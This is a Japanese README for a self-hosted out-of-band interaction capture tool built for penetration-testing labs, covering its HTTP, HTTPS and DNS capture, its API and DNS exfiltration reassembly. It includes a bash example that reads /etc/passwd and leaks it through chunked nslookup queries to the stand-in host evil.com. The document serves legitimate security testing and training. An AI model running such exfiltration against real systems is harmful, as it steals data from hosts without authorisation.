
無料のBurp Collaborator代替 - SQLiteとexfil再構築によるOOBインタラクションキャプチャ(HTTP/HTTPS/DNS)
ペネトレーションテストラボ向けの無料オープンソース Burp Collaborator 代替ツール
アウトオブバンド (OOB) インタラクションキャプチャ · HTTP/HTTPS · DNS · SQLite · 持ち出しデータ再構築
Phantom Grid はセルフホスト型の OOB (アウトオブバンド) インタラクションキャプチャツールであり、ペネトレーションテストラボ (PortSwigger Web Security Academy、HackTheBox、TryHackMe など) を攻略するための Burp Collaborator の無料代替ツールです。
| 機能 | 説明 |
|---|---|
| HTTP + HTTPS キャプチャ | 自動生成された自己署名 TLS 証明書によるデュアルスタック |
| DNS キャプチャ | ポート 53 の組み込み DNS サーバー |
| DNS 持ち出しデータ再構築 | 複数パートの DNS 持ち出しからの自動チャンク再構築 |
| SQLite 永続化 | すべてのデータがサーバー再起動後も保持される (パフォーマンスのため WAL モード) |
| 40 以上のペイロードテンプレート | SSRF、XXE、SQLi OOB、CMDi、SSTI、DNS 持ち出し — すぐにコピー可能 |
| タクティカルダッシュボード | リアルタイム監視を備えたコマンドセンター UI |
| Docker 対応 | ワンコマンドデプロイ |
| REST API | トークン/インタラクション/持ち出しデータの完全な管理 API |
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
pip install -r server/requirements.txt
# HTTP only
python server/server.py
# HTTP + HTTPS (auto-generates self-signed cert)
python server/server.py --https
# Full stack (requires sudo for DNS port 53)
sudo python server/server.py --https --dns
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
docker compose up -d
python server/server.py --https &
ngrok http 9090
# Use the ngrok HTTPS URL in your payloads
┌──────────────────────────────────────────────────────────────┐
│ PHANTOM GRID v2.0 │
│ │
│ ┌─────────────┐ ┌─────────────────────────────────┐ │
│ │ Dashboard │─API─▶│ Flask Server │ │
│ │ (React) │ │ │ │
│ └─────────────┘ │ :9090 HTTP capture + API │ │
│ │ :9443 HTTPS capture + API │ │
│ ┌─────────────┐ │ :53 DNS capture │ │
│ │ Target App │─────▶│ │ │
│ └─────────────┘ └──────────┬──────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite Database │ │
│ │ phantom_grid.db │ │
│ │ │ │
│ │ tokens │ │
│ │ interactions │ │
│ │ dns_exfil_sessions │ │
│ │ dns_exfil_chunks │ │
│ └─────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
最近のアプリはしばしば混合コンテンツリクエスト (https:// ページからの http://) をブロックします。Phantom Grid v2.0 は HTTP と並行して HTTPS を実行します。
python server/server.py --https
# Generates certs/server.pem + certs/server.key automatically
# HTTPS available at https://0.0.0.0:9443
python server/server.py --https \
--cert /etc/letsencrypt/live/yourdomain/fullchain.pem \
--key /etc/letsencrypt/live/yourdomain/privkey.pem
python server/server.py &
ngrok http 9090
# ngrok provides a trusted HTTPS URL automatically
Phantom Grid はチャンク化された DNS 持ち出しデータを自動的に再構築します。これは、複数の DNS ルックアップに分割する必要がある大きなペイロード (ラベルは 63 バイトに制限) を抽出するために重要です。
| フォーマット | 例 | ユースケース |
|---|---|---|
| シンプル | data.TOKEN.domain | 単一値の持ち出し |
| インデックス付き | 0.chunk1.TOKEN.domain | 自動セッション、順序付きチャンク |
| タグ付き | sess1.0.chunk1.TOKEN.domain | 順序付けされた名前付きセッション |
| 終了シグナル | end.sess1.TOKEN.domain | セッション完了をマーク |
/etc/passwd を持ち出すターゲット上で:
# Split file into 50-byte base64 chunks and send via DNS
data=$(base64 /etc/passwd | tr -d '\n')
token="a1b2c3d4e5f6"
domain="evil.com"
i=0
while [ -n "$data" ]; do
chunk=$(echo "$data" | cut -c1-50)
data=$(echo "$data" | cut -c51-)
nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1
i=$((i+1))
done
nslookup "end.exfil.$token.$domain" >/dev/null 2>&1
再構築されたデータを表示:
curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil
レスポンス:
[{
"session_tag": "exfil",
"completed": 1,
"chunk_count": 12,
"reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..."
}]
すべてのデータは同時読み書きパフォーマンスのために SQLite WAL モードを使用して phantom_grid.db に保存されます。
phantom_grid.db
├── tokens — Token metadata
├── interactions — All HTTP/DNS captures
├── dns_exfil_sessions — Grouped exfil sessions
└── dns_exfil_chunks — Individual exfil data chunks
データはサーバー再起動後も保持されます。phantom_grid.db をコピーしてバックアップします。
| メソッド | エンドポイント | 説明 |
|---|---|---|
GET | /api/tokens | 統計付きですべてのトークンを一覧表示 |
POST | /api/tokens | トークンを作成 {"label": "...", "notes": "..."} |
PATCH | /api/tokens/<id> | トークンのラベル/ノートを更新 |
DELETE | /api/tokens/<id> | トークンとすべてのデータを削除 (CASCADE) |
| メソッド | エンドポイント | 説明 |
|---|---|---|
GET | /api/tokens/<id>/interactions?limit=&offset= | トークンのインタラクションを取得 |
DELETE | /api/tokens/<id>/interactions | インタラクションをクリア |
GET | /api/log?limit= | グローバルログ (すべてのトークン) |
GET | /api/poll?since=<ISO> | 新しいインタラクションをポーリング |
| メソッド | エンドポイント | 説明 |
|---|---|---|
GET | /api/tokens/<id>/exfil | 再構築されたデータを含む持ち出しセッションを取得 |
| メソッド | エンドポイント | 説明 |
|---|---|---|
GET | /api/stats | グローバル統計 (カウント、DB サイズ) |
GET | /health | ヘルスチェック |
| プロトコル | エンドポイント |
|---|---|
| HTTP | http://server:9090/c/<TOKEN> |
| HTTPS | https://server:9443/c/<TOKEN> |
| DNS | <TOKEN>.yourdomain.com |
| DNS 持ち出し | <data>.<TOKEN>.yourdomain.com |
python server.py [OPTIONS]
--port N HTTP port (default: 9090)
--https Enable HTTPS server
--https-port N HTTPS port (default: 9443)
--cert PATH Custom TLS certificate (PEM)
--key PATH Custom TLS key file
--dns Enable DNS capture server
--dns-port N DNS port (default: 53)
--dns-ip IP IP returned in DNS responses (default: 127.0.0.1)
--db PATH SQLite database path (default: phantom_grid.db)
| 機能 | Burp Collaborator | Interactsh | Phantom Grid |
|---|---|---|---|
| 価格 | Burp Pro ($$$) | 無料 | 無料 |
| HTTP/HTTPS | ✅ | ✅ | ✅ |
| DNS キャプチャ | ✅ | ✅ | ✅ |
| DNS 持ち出しデータ再構築 | ❌ | ❌ | ✅ |
| SMTP キャプチャ | ✅ | ✅ | ❌ (ロードマップ) |
| セルフホスト | ❌ | ✅ | ✅ |
| カスタムドメイン | ❌ | ✅ | ✅ |
| 永続ストレージ | N/A | ❌ | ✅ (SQLite) |
| ダッシュボード UI | Burp Suite | CLI | Web UI |
| ペイロードテンプレート | ❌ | ❌ | ✅ (40 以上) |
ダッシュボードには 40 以上のすぐにコピーできるペイロードが含まれています: